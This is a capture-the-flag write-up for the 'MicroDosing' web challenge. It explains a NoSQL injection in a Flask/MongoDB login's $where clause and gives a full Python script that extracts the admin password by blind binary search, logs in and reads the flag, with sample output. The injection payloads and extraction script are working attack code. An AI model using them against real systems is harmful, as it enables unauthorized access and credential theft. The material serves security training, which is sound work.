
Flash CTF - MicroDosing
Challenge Overview
MicroDosing is a web application that looks like a legitimate medication titration research platform. It's got a clean interface and realistic functionality, but there's a NoSQL injection vulnerability in the login system. What makes this interesting is that it's not your typical injection challenge - you can't just use simple boolean injection to bypass authentication.
Challenge Analysis
Application Structure
The app is built with Flask and MongoDB. It has:
- User registration and login
- Research data dashboard
- Admin panel (where the flag is)
Key Constraints
- Character Limit: Input fields are limited to 40 characters (but this barely matters)
- Boolean Injection Protection: Simple boolean injection is blocked
- Password Extraction Required: You need to extract the actual admin password
- Blind Injection Only: We can diferentiate true and false, but we don't get any NoSQL output directly
Vulnerability Analysis
The NoSQL Injection Point
The bug is in the login endpoint (/login) where user input gets concatenated into a MongoDB $where clause:
query = { '$where': f"this.username == '{username}' && this.password == '{password}'"}
This gives us a NoSQL injection, but there's a catch:
if user: # They check that the returned user matches the input exactly if user['username'] == username and user['password'] == password: # Login successful else: flash('Something went wrong.', 'error')
Why Simple Boolean Injection Doesn't Work
The app does two checks:
- Database Query: Uses your injected
$whereclause to find users - Application Check: Makes sure the returned user's credentials match your input exactly
So if you try '||1==1||', it'll find the admin user but fail the second check and give you "Something went wrong" instead of access to the admin account.
Exploitation Strategy
Phase 1: Character-by-Character Password Extraction
Since we need the actual admin password, we have to extract it character by character. I used binary search to make this efficient:
def extract_password(base_url, session): """Extract admin password using binary search""" print("[+] Extracting admin password...") charset = sorted(string.ascii_letters + string.digits + "_{}!@#$%^&*()-=+") password = "" pos = 0 while True: print(f"[+] Position {pos}: ", end="") # Binary search for character left, right = 0, len(charset) - 1 while left <= right: mid = (left + right) // 2 char = charset[mid] payload = f"admin' && this.password[{pos}]<'{char}' || '" if len(payload) > 40: continue result = test_injection(payload, base_url, session) if result == "USER_FOUND": right = mid - 1 else: left = mid + 1 # Find exact character if left < len(charset): exact_char = charset[left] exact_payload = f"admin' && this.password[{pos}]=='{exact_char}' || '" if len(exact_payload) <= 40 and test_injection(exact_payload, base_url, session) == "USER_FOUND": password += exact_char print(f"Found '{exact_char}'") pos += 1 continue # Try character before left position if left > 0: exact_char = charset[left - 1] exact_payload = f"admin' && this.password[{pos}]=='{exact_char}' || '" if len(exact_payload) <= 40 and test_injection(exact_payload, base_url, session) == "USER_FOUND": password += exact_char print(f"Found '{exact_char}'") pos += 1 continue print("End of password") break return password
Phase 2: Response Analysis
The exploit checks response patterns to see if injection worked:
def test_injection(payload, base_url, session): """Test a NoSQL injection payload and return response type""" try: data = { 'username': payload, 'password': 'anything' } response = session.post(f"{base_url}/login", data=data, timeout=10) if 'Something went wrong' in response.text: return "USER_FOUND" else: return "NO_USER" except Exception as e: return "ERROR"
The Complete Exploit
#!/usr/bin/env python3import requestsimport stringimport reimport sysdef test_injection(payload, base_url, session): """Test a NoSQL injection payload and return response type""" try: data = { 'username': payload, 'password': 'anything' } response = session.post(f"{base_url}/login", data=data, timeout=10) if 'Something went wrong' in response.text: return "USER_FOUND" else: return "NO_USER" except Exception as e: return "ERROR"def extract_password(base_url, session): """Extract admin password using binary search""" print("[+] Extracting admin password...") charset = sorted(string.ascii_letters + string.digits + "_{}!@#$%^&*()-=+") password = "" pos = 0 while True: print(f"[+] Position {pos}: ", end="") # Binary search for character left, right = 0, len(charset) - 1 while left <= right: mid = (left + right) // 2 char = charset[mid] payload = f"admin' && this.password[{pos}]<'{char}' || '" if len(payload) > 40: continue result = test_injection(payload, base_url, session) if result == "USER_FOUND": right = mid - 1 else: left = mid + 1 # Find exact character if left < len(charset): exact_char = charset[left] exact_payload = f"admin' && this.password[{pos}]=='{exact_char}' || '" if len(exact_payload) <= 40 and test_injection(exact_payload, base_url, session) == "USER_FOUND": password += exact_char print(f"Found '{exact_char}'") pos += 1 continue # Try character before left position if left > 0: exact_char = charset[left - 1] exact_payload = f"admin' && this.password[{pos}]=='{exact_char}' || '" if len(exact_payload) <= 40 and test_injection(exact_payload, base_url, session) == "USER_FOUND": password += exact_char print(f"Found '{exact_char}'") pos += 1 continue print("End of password") break return passworddef login_and_get_flag(base_url, session, password): """Login as admin and get the flag""" print(f"[+] Logging in as admin with password: {password}") data = { 'username': 'admin', 'password': password } response = session.post(f"{base_url}/login", data=data, timeout=10) if 'dashboard' in response.text or 'redirect' in response.text: print("[+] Login successful!") # Get flag from admin panel response = session.get(f"{base_url}/admin", timeout=10) matches = re.findall(r'MetaCTF\{[^}]+\}', response.text, re.IGNORECASE) for match in matches: print(f"[+] Flag: {match}") return match print("[-] Flag not found") return None else: print("[-] Login failed") return Nonedef main(): if len(sys.argv) != 2: print("Usage: python solve.py <target_url>") print("Example: python solve.py http://localhost:5000") sys.exit(1) base_url = sys.argv[1].rstrip('/') session = requests.Session() print(f"[+] Target: {base_url}") print() # Extract password password = extract_password(base_url, session) if not password: print("[-] Failed to extract password") sys.exit(1) print(f"[+] Extracted password: {password}") print() # Login and get flag flag = login_and_get_flag(base_url, session, password) if not flag: print("[-] Failed to get flag") sys.exit(1) print("[+] Exploitation successful!")if __name__ == "__main__": main()
Execution Flow
- Password Extraction: Use binary search to extract admin password character by character
- Authentication: Login with the extracted credentials
- Flag Retrieval: Access the admin panel to retrieve the flag
Execution Example
$ python3 solve.py http://localhost:5000
[+] Target: http://localhost:5000
[+] Extracting admin password...
[+] Position 0: Found '9'
[+] Position 1: Found 'b'
[+] Position 2: Found '0'
[+] Position 3: Found '1'
[+] Position 4: Found 'a'
[+] Position 5: Found 'c'
[+] Position 6: Found 'c'
[+] Position 7: Found '8'
[+] Position 8: Found '6'
[+] Position 9: Found '2'
[+] Position 10: Found 'c'
[+] Position 11: Found '5'
[+] Position 12: Found '7'
End of password
[+] Extracted password: 9b01acc862c57
[+] Logging in as admin with password: 9b01acc862c57
[+] Login successful!
[+] Flag: MetaCTF{n0_sql_bu7_c3r74inly_4n_inj3ct7i0n}
[+] Exploitation successful!